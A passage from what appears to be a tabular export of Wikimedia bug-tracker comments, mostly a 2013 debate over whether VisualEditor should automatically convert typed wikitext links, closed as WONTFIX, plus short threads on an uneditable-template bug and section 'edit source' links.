+> generally, this is known as ""Auto correct"" (sometimes also [[DWIM]]: ""Do
+> What I Mean"").
+> 
+> [...]
+> 
+> when you recognize that the user did something they did not mean to do, such
+> as mispelling a word (in M$ word) or typing [[Something something]] in VE,
+> just Do What the User Meant.
+
+Computers can't read minds and they monumentally struggle with understanding context. When I type ""subst"" into OS X (as in template substitution), it autocorrects to ""subset"" because surely that's what I meant, right?
+
+I completely agree with you that [[muscle memory]] here is an issue. And I completely agree that we need to find ways to make linking as painless as possible in VisualEditor (we're not there yet). But part of meeting user expectations is to take input (such as ""[[foo]]"", which displays as ""[[foo]]"" in VisualEditor) and output it as the user saw it in the editor.
+
+These type of magical transformations won't be supported in VisualEditor and I think that's a reasonable position to take. However, it should be completely possible to create a JavaScript gadget that can enhance the user experience for those who have a deep understanding of the difference between source editing and visual editing and who would like a hybrid option. I'd pursue this. :-)",,,1374689458,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+244136,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"please look above: in comment 15, Forrester did some namedropping: ""Microsoft
+Word, OpenOffice, Google Docs, Apple Pages and more"".
+
+well, in all this products, when i misspell a word, the thing silently and valiantly just fix my mistake, instead of shouting at me[1]. 
+generally, this is known as ""Auto correct"" (sometimes also [[DWIM]]: ""Do What I Mean"").
+
+if really you use these products as your role model, please pick the good stuff, not the crappy stuff. who cares if the shortcut for ""link"" is <Ctrl>+K or <Ctrl>+L ?
+
+why can't you adopt the real valuable features from them instead of the completely anecdotal ones?
+
+when you recognize that the user did something they did not mean to do, such as mispelling a word (in M$ word) or typing [[Something something]] in VE, just Do What the User Meant.
+
+
+peace.
+
+
+[1] i cheated - i am not actually sure if it's really ""in all those products"". i know it's in most of them.",,,1374688603,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+244127,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"We're listening, but in this case we're saying no, and that decision is final. We can elaborate a bit more on the why if that helps, but parsing wikitext in VisualEditor is absolutely not going to happen.
+
+If accidental insertion of wikitext is still an issue, we should focus on other ways to mitigate that issue.",,,1374687843,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+244118,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #17)
+> So, let's calm down here.
+> 
+> We're not ""pissing on"" anyone; 
+
+yes you are.
+if you look at the different wikis, and if you search here with ""product=visualeditor"" and ""search word=nowiki"", you will find that one of the main complaints of editors in many projects (specifically enwiki and nlwiki), is the fact that users type ""[[something something]]"", and VE wraps it with ""nowiki"". this is clearly not what the editor meant to do
+
+true, VE also jumps a popup message telling the editor ""this is probably not what you meant"", but there are two issues with that:
+1) because of unrelated bug, this popup message is usually not even seen by the editor.
+2) if the thing is cleaver enough to know that this is not what i meant, why can't it just Do the Right Thing (tm) ? (answer: of course it can, but the team decided to WONTFIX it).
+
+
+this attitude of VE team - pissing on and pissing off the user base at the same time, already caused the editors in nlwiki to vote not to activate it in the planned date (and they can do it - you guys removed the switch - we can bring it back through common.js or through gadgets, and we can also make it ""default"". is a fight with the user base really what you need right now?).
+
+
+why does it seem, with this and other bugs (specifically, insisting on hiding the preference to disable VE), that the VE team made a conscious (or maybe  unconscious) decision to ignore the community and shun it?
+what does the VE team expect to accomplish this way?
+
+
+we want VE and we like VE, but you guys should do a better job listening to us when we tell you where it hurts.
+
+peace.",,,1374687528,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+244107,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Thank you very much for the clarification, Erik. I was just about to ask, following comment 17, whether this was truly a wontfix (i.e., patches will not be accepted) or whether it was simply a very low priority. :-)",,,1374683131,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+244102,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"""other user interfaces optimized for markup"" -> ""other user interfaces optimized for completing actions quickly in VisualEditor that are fast to do in markup""",,,1374682618,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+244098,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Sorry, but this is not something we'll ever do, as I explained in comment 9. It's not simply a matter of prioritization - it's a matter of ensuring we can provide a user experience that's not modeled on markup, but on best user experience practices. As James said, we provide keyboard shortcuts, and will provide other user interfaces optimized for markup. But parsing markup within the visual editing context is completely off the table.",,,1374682548,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+244094,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"So, let's calm down here.
+
+We're not ""pissing on"" anyone; we're choosing to prioritise. Right now the devs have got a lot of open bugs for the VisualEditor - things that actively /don't work/. They've got a lot of features still to build, and a lot of expectations about the project. Personally, I'm incredibly impressed with the speed of change and the patches that have been submitted so far - it's a fantastic workrate. But that doesn't change the fact that there's still a lot to do.
+
+Now: we /can/ have wikitext converted to VE-compatible elements. But there are a few costs. First: from my conversations with the developers, I understand that doing it on the fly would slow the VE down very substantially. You'd have to automatically parse and re-render the page. Second: if they work on this, there's a lot of stuff that is going to get pushed back.
+
+We have a VisualEditor. It's great, it's miles better than anything else produced to do this job in MediaWiki, but it still needs a lot of work and still has a lot of active bugs - problems parsing content, problems rendering content. If enhancements such as this (which would certainly be nice) are worked on, active breakage will take a back seat: those areas where it simply doesn't have features will take a back seat. I'm not comfortable with saying that we rate ""being able to type markup into the VisualEditor"" higher than ""being able to manipulate tables"".
+
+As you note, the source editor is still available in all namespaces. Users who are actively prioritising familiarity with syntax, and their muscle memory, are welcome to use it. It's not going away. In the meantime, the VE development process should be focused on making it work full stop, not making it work for the users who are highly comfortable with source editing. That's nice, and it's something I'd love to see, but it's not going to happen if actual bugs aren't fixed first.",,,1374681807,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+244090,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #15)
+> If you want an ""accelerator key"" for making links, use the standard one:
+> Ctrl +
+> K (or Cmd + K if you're on a Mac). This is the same shortcut as in Microsoft
+> Word, OpenOffice, Google Docs, Apple Pages and more.
+
+and ""[["" is the same one as used by tens of thousands of wikipedia editors.
+it's not even ""a thing of the past"" - source editor remains the only editor in many name spaces, and is still available in _all_ of them.
+
+pissing on your user base is not a good way to handle software projects.
+
+peace.",,,1374681409,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+244086,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"If you want an ""accelerator key"" for making links, use the standard one: Ctrl + K (or Cmd + K if you're on a Mac). This is the same shortcut as in Microsoft Word, OpenOffice, Google Docs, Apple Pages and more.",,,1374679580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+244082,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**turingt** wrote:
+
+For what it's worth, I find that ""[["" is a very good accelerator key - mainly because it's already known and remembered by a huge portion of your user base, myself included.
+
+And Erik, wikitext is still awesome today - it's the only known way to allow users to create semantic-enhanced content. The VisualEditor is good for laying out formatted text on a page, but the relations between concepts placed at different pages are better created by adding tags (links, categories, templates...) to the content. The current VE interface mostly hides those tags and requires handling complex dialogs to introduce or edit them, which makes it less convenient for introducing semantics than wikitext. That's why people is requesting smoother and seamless ways to switch between the VE and the source editor.",,,1374678026,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+244080,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"based on:
+
+bug 51554
+bug 51944
+bug 51462
+bug 50527
+
+and a dozen or so more (as seen here:
+https://bugzilla.wikimedia.org/buglist.cgi?query_format=specific&order=relevance%20desc&bug_status=__open__&product=VisualEditor&content=nowiki&list_id=219956
+
+
+i changed this one to ""reopen"" and marked it ""high"".
+
+peace.",,,1374671097,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+244076,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,*** Bug 51897 has been marked as a duplicate of this bug. ***,,,1374639183,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244073,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**nrp** wrote:
+
+WTG guys, piss off the user base even more with a WONTFIX on a no-brainer...",,,1374599335,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+244065,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,Marking as WONTFIX per my earlier comments and Erik's.,,,1373002882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+244060,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Indeed, I think we should close this as WONTFIX. We should improve any efficiency or discoverability issues in VisualEditor, and help give users experienced with wikitext clues to not accidentally insert it in VisualEditor. See bug 50601 for one potential approach to the latter problem.
+
+Wiki markup was an awesome in invention in 1995, helping users not have to type HTML in order to format documents. But that doesn't mean the most efficient conceivable user experience in 2013 ought to be bound to the same design principles. (Nor should we blindly copy existing point and click interfaces -- for navigating the complexity of templates and such, we may have to come with some truly novel interfaces.)",,,1372986063,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+244056,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #7)
+> (In reply to comment #6)
+> > > (2) it requires the use of a mouse to add a link. :-(
+> > 
+> > Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K
+> > plus keyboard-based selection, as in other editors).
+> 
+> Ah, right. I vaguely remember that cmd-K controls the hyperlink functionality
+> in Microsoft Office products. I have no idea how anyone would glean this from
+> VisualEditor.
+
+Hover over the button; the tooltip tells you the keyboard shortcut. :-)",,,1372016154,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+244052,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #6)
+>> (2) it requires the use of a mouse to add a link. :-(
+> 
+> Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K
+> plus keyboard-based selection, as in other editors).
+
+Ah, right. I vaguely remember that cmd-K controls the hyperlink functionality in Microsoft Office products. I have no idea how anyone would glean this from VisualEditor.",,,1372016115,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+244048,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #5)
+> (In reply to comment #4)
+> > I'm ambivalent about whether we would ever let this go live, given how
+> > complicated it would make editing for people that don't know wikitext -
+> > consequently, marking as lowest priority for now.
+> 
+> You and I discussed this idea at some point (thanks for filing this as a bug,
+> Oliver). The current issues I'm seeing with VisualEditor are that:
+> 
+> (1) it's much more time-consuming to add a link (i.e., typing ""[[]]"" is quick
+> while finding and using the link dialog box is slow, especially multiple
+> times); and
+> 
+> (2) it requires the use of a mouse to add a link. :-(
+
+Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K plus keyboard-based selection, as in other editors).
+
+> Perhaps we need a ""I'm old school"" checkbox somewhere in VisualEditor. ;-)
+
+If users are sufficiently new-school that they can't remember Ctrl+K I don't think there's much hope for them. :-)",,,1372015941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+244046,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #4)
+> I'm ambivalent about whether we would ever let this go live, given how
+> complicated it would make editing for people that don't know wikitext -
+> consequently, marking as lowest priority for now.
+
+You and I discussed this idea at some point (thanks for filing this as a bug, Oliver). The current issues I'm seeing with VisualEditor are that:
+
+(1) it's much more time-consuming to add a link (i.e., typing ""[[]]"" is quick while finding and using the link dialog box is slow, especially multiple times); and
+
+(2) it requires the use of a mouse to add a link. :-(
+
+Adjusting VisualEditor to interpret [[]] as a link would be a nice enhancement, though I see the danger in heading down this road.
+
+Perhaps we need a ""I'm old school"" checkbox somewhere in VisualEditor. ;-)",,,1372015712,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+244044,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I'm ambivalent about whether we would ever let this go live, given how complicated it would make editing for people that don't know wikitext - consequently, marking as lowest priority for now.",,,1372015077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0
+244043,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Another possibility I mentioned in bug 49820 is to display a warning of some sorts to remind people that wikicode isn't supported (similar to how LiquidThreads reminds users who insert ~~~~ that their signature will be automatically inserted). Automagical conversion might be better, but a warning could be a good first step.",,,1371929384,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+244042,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Sorry, just clarifying, this wasn't intended to happen ""on save"". This should probably happen as soon as (e.g.) the ]] is typed after a link, à la AutoCorrect.",,,1371721105,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+244037,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #0)
+> a user has suggested
+
+This was me. Here's my comment from [[Wikipedia:VisualEditor/Feedback]]:
+
+> If you look through many of the comments on this page (in some cases you 
+> need to read between the lines), you will see that people are trying to 
+> create a wikilink in VisualEditor using [[ ]] wikitext syntax. I am 
+> suggesting that, to accommodate these users, a sort of autocorrect be 
+> implemented, so that when [[ ]] links are entered, they are automagically 
+> converted into proper VE-style links
+
+As well as a helpful ""transition"" feature from wikitext to VE, it might also be useful in the long run as a shortcut for power users, since keystrokes are generally faster than mouse interaction.
+
+Probably a lower priority enhancement though :)",,,1371523456,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+51678,VisualEditor: Some template combinations make text not editable,"On Swedish Wikipedia, we have quite a few bot generated articles (some hundreds of thousands) like this one: https://sv.wikipedia.org/wiki/Macrothemis_ultima
+
+When in editing mode, somehow the first line of text cannot be edited. 
+
+If an article has a second line, it is possible to edit that one (but still not the first line), e.g. https://sv.wikipedia.org/wiki/Lepidosaphes_lithocarpi
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371462960,1371825507.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243541,VisualEditor: Some template combinations make text not editable,Sorry for the disruption; glad we fixed it for you.,,,1371825507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243535,VisualEditor: Some template combinations make text not editable,"No, I cannot reproduce it anymore. The update must have taken care of it!",,,1371538774,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243530,VisualEditor: Some template combinations make text not editable,"I cannot reproduce this, but we did just update production to the latest code - do you still get this effect?
+
+If so, what browser/OS are you using? Is it possible to do a quick screencast video of how it doesn't work, and attach it to this bug? Thanks!",,,1371520067,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+51666,VisualEditor: Display a link to both VE and wikitext editor on every section header,"[From bug 48429 comment 18]
+
+| It would be ideal to have section-edit links for [edit] and [edit source].
+| ie.
+|   Sandbox [edit]
+| replaced with:
+|   Sandbox [edit] [edit source]
+| 
+| I believe this would prevent a LOT of complaints in the short term, and it
+| would permit a lot of us to continue being active beta testers
+| (section-editing is my most frequent type of edit), that it should be High
+| priority, if at all possible. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48429
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49621
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47779
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",High,80.0,1371430320,1372362973.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tqom52xzffar63gwv2th,task_description,resolved,True,c1,2,True,False,True,-2,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1
+242982,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Saying it is fixed does not make it fixed. The link is hidden, and so I don't consider it ""displayed"" as per the current title of this bugzilla thread: ""VisualEditor: Display a link to both VE and wikitext editor on every section header"".
+
+And you did not address my points. I don't want to start another Bugzilla thread, and have to repeat everything there that was written here. Several people in this thread pointed out their dislike of multi-stage processes to be able to click an ""edit source"" link. 
+
